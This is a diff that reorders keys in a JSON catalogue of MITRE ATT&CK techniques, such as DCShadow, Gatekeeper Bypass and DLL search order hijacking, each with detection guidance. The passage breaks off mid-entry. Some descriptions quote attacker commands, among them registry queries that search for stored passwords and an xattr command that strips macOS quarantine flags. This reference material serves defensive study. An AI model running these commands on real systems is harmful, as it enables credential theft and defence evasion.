- "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d"
+ "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+ "value": "Custom Cryptographic Protocol - T1024"
},
{
"description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes",
- "value": "Graphical User Interface - T1061",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1061"
- ],
"external_id": "T1061",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -3588,22 +3583,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1061"
]
},
- "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228"
+ "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228",
+ "value": "Graphical User Interface - T1061"
},
{
"description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)\n\nDetection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture\n\nDefense Bypassed: Log analysis\n\nPermissions Required: Administrator\n\nContributors: Vincent Le Toux",
- "value": "DCShadow - T1207",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1207",
- "https://www.dcshadow.com/",
- "https://adsecurity.org/?page%20id=1821",
- "https://github.com/shellster/DCSYNCMonitor",
- "https://msdn.microsoft.com/en-us/library/ms677626.aspx",
- "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
- ],
"external_id": "T1207",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -3616,39 +3606,43 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1207",
+ "https://www.dcshadow.com/",
+ "https://adsecurity.org/?page%20id=1821",
+ "https://github.com/shellster/DCSYNCMonitor",
+ "https://msdn.microsoft.com/en-us/library/ms677626.aspx",
+ "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
]
},
- "uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a"
+ "uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a",
+ "value": "DCShadow - T1207"
},
{
"description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator",
- "value": "Gatekeeper Bypass - T1144",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1144",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
- "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
- "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/"
- ],
"external_id": "T1144",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1144",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
+ "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
+ "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
+ "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/"
]
},
- "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e"
+ "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
+ "value": "Gatekeeper Bypass - T1144"
},
{
"description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n*Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n*Current User Hive: reg query HKCU /f password /t REG_SZ /s\n\nDetection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process Monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys.\n\nContributors: Sudhanshu Chauhan, @Sudhanshu_C",
- "value": "Credentials in Registry - T1214",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1214",
- "https://pentestlab.blog/2017/04/19/stored-credentials/"
- ],
"external_id": "T1214",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -3660,18 +3654,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1214",
+ "https://pentestlab.blog/2017/04/19/stored-credentials/"
]
},
- "uuid": "2edd9d6a-5674-4326-a600-ba56de467286"
+ "uuid": "2edd9d6a-5674-4326-a600-ba56de467286",
+ "value": "Credentials in Registry - T1214"
},
{
"description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes",
- "value": "Fallback Channels - T1008",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1008",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1008",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -3687,17 +3681,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1008",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433"
+ "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
+ "value": "Fallback Channels - T1008"
},
{
"description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.\n\nHigher privileges are often necessary to perform additional actions such as some methods of Credential Dumping. Look for additional activity that may indicate an adversary has gained higher privileges.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Error Reporting, Process monitoring, Application Logs\n\nEffective Permissions: User\n\nPermissions Required: User\n\nSystem Requirements: In the case of privilege escalation, the adversary likely already has user permissions on the target system.",
- "value": "Exploitation for Privilege Escalation - T1068",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1068"
- ],
"external_id": "T1068",
"kill_chain": [
"mitre-attack:enterprise-attack:privilege-escalation"
@@ -3711,20 +3706,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1068"
]
},
- "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839"
+ "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
+ "value": "Exploitation for Privilege Escalation - T1068"
},
{
"description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User",
- "value": "Hidden Files and Directories - T1158",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1158",
- "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
- ],
"external_id": "T1158",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -3739,17 +3731,20 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1158",
+ "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
+ "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
+ "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
]
},
- "uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93"
+ "uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93",
+ "value": "Hidden Files and Directories - T1158"
},
{
"description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.\n\nPlatforms: Linux, macOS, Windows\n\nDefense Bypassed: Anti-virus, Signature-based detection",
- "value": "Binary Padding - T1009",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1009"
- ],
"external_id": "T1009",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -3758,18 +3753,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1009"
]
},
- "uuid": "519630c5-f03f-4882-825c-3af924935817"
+ "uuid": "519630c5-f03f-4882-825c-3af924935817",
+ "value": "Binary Padding - T1009"
},
{
"description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "Redundant Access - T1108",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1108",
- "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
- ],
"external_id": "T1108",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -3788,19 +3782,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1108",
+ "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
]
},
- "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a"
+ "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a",
+ "value": "Redundant Access - T1108"
},
{
"description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
- "value": "Data Encrypted - T1022",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1022",
- "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
- "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
- ],
"external_id": "T1022",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -3815,18 +3808,19 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1022",
+ "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
+ "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
]
},
- "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638"
+ "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638",
+ "value": "Data Encrypted - T1022"
},
{
"description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
- "value": "Plist Modification - T1150",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1150",
- "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
- ],
"external_id": "T1150",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -3840,23 +3834,18 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1150",
+ "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
]
},
- "uuid": "06780952-177c-4247-b978-79c357fb311f"
+ "uuid": "06780952-177c-4247-b978-79c357fb311f",
+ "value": "Plist Modification - T1150"
},
{
"description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nPlatforms: Windows\n\nData Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
- "value": "DLL Search Order Hijacking - T1038",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1038",
- "http://msdn.microsoft.com/en-US/library/ms682586",
- "https://www.owasp.org/index.php/Binary%20planting",
- "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx",
- "http://msdn.microsoft.com/en-US/library/ms682600",
- "https://msdn.microsoft.com/en-US/library/aa375365",
- "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
- ],
"external_id": "T1038",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -3871,22 +3860,23 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1038",
+ "http://msdn.microsoft.com/en-US/library/ms682586",
+ "https://www.owasp.org/index.php/Binary%20planting",
+ "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx",
+ "http://msdn.microsoft.com/en-US/library/ms682600",
+ "https://msdn.microsoft.com/en-US/library/aa375365",
+ "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
]
},
- "uuid": "46944654-fcc1-4f63-9dad-628102376586"
+ "uuid": "46944654-fcc1-4f63-9dad-628102376586",
+ "value": "DLL Search Order Hijacking - T1038"
},
{
"description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options/ and HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
- "value": "Image File Execution Options Injection - T1183",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1183",
- "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
- "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
- "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml",
- "https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
- ],
"external_id": "T1183",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -3900,17 +3890,22 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1183",
+ "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
+ "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
+ "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
+ "https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
]
},
- "uuid": "62166220-e498-410f-a90a-19d4339d4e99"
+ "uuid": "62166220-e498-410f-a90a-19d4339d4e99",
+ "value": "Image File Execution Options Injection - T1183"
},
{
"description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access network shared drive",
- "value": "Data from Network Shared Drive - T1039",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1039"
- ],
"external_id": "T1039",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -3924,21 +3919,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1039"
]
},
- "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c"
+ "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c",
+ "value": "Data from Network Shared Drive - T1039"
},
{
"description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing 